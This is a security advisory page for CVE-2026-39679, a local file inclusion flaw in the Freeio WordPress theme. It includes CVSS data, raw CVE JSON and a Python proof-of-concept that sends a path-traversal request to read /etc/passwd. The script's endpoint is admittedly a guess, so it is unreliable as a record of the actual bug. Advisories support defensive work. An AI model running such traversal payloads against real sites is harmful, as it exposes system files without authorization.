Security Vulnerability Report
中文
CVE-2026-39679 CVSS 7.5 HIGH

CVE-2026-39679

Published: 2026-04-08 09:16:40
Last Modified: 2026-04-24 18:06:04

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ApusTheme Freeio freeio allows PHP Local File Inclusion.This issue affects Freeio: from n/a through <= 1.3.21.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

ApusTheme Freeio <= 1.3.21

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-39679 Proof of Concept (PoC) # Target: ApusTheme Freeio <= 1.3.21 # Vulnerability Type: PHP Local File Inclusion (LFI) # Note: This script is for educational purposes only. def check_lfi(target_url, cookie=None): """ Attempts to read /etc/passwd using path traversal. Assumes a vulnerable parameter 'file' exists in the endpoint. """ # The vulnerable endpoint might vary, this is a common pattern for themes # Adjust the endpoint and parameter based on actual source code analysis base_endpoint = "?ajax_action=load_file&file=" # Path traversal payload to read /etc/passwd # Using ../../.. to escape the current directory payload = "../../../../../etc/passwd" full_url = target_url + base_endpoint + payload headers = { "User-Agent": "CVE-2026-39679-Scanner/1.0" } try: response = requests.get(full_url, headers=headers, cookies=cookie, timeout=10) # Check if the response contains typical /etc/passwd markers if "root:x" in response.text and "/bin/bash" in response.text: print(f"[+] Vulnerability Confirmed at {target_url}") print(f"[+] Response snippet:\n{response.text[:200]}") return True else: print(f"[-] Vulnerability not detected or target patched.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://example.com/wp-content/themes/freeio/" # Replace with actual target # If auth is required (PR:L), provide session cookies here # session_cookies = {"wordpress_logged_in_...": "..."} check_lfi(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-39679", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:39.617", "lastModified": "2026-04-24T18:06:04.160", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in ApusTheme Freeio freeio allows PHP Local File Inclusion.This issue affects Freeio: from n/a through <= 1.3.21."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/freeio/vulnerability/wordpress-freeio-theme-1-3-21-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]"}]}}